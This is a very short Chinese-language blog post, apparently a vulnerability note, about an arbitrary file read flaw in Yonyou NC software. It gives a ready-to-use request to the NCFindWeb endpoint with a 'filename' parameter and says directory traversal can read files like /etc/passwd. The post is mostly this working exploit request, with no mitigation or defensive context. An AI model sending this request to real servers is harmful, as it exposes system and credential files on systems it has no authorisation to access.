用友任意檔案讀取

kalixcn發表於2024-03-17

任意檔案讀取

filename引數可以讀取下列所有檔案,在某些情況下可以讀取利用目錄穿越可讀取/etc/passwd等檔案

 http://x.x.x.x/NCFindWeb?service=IPreAlertConfigService&filename=/

img

相關文章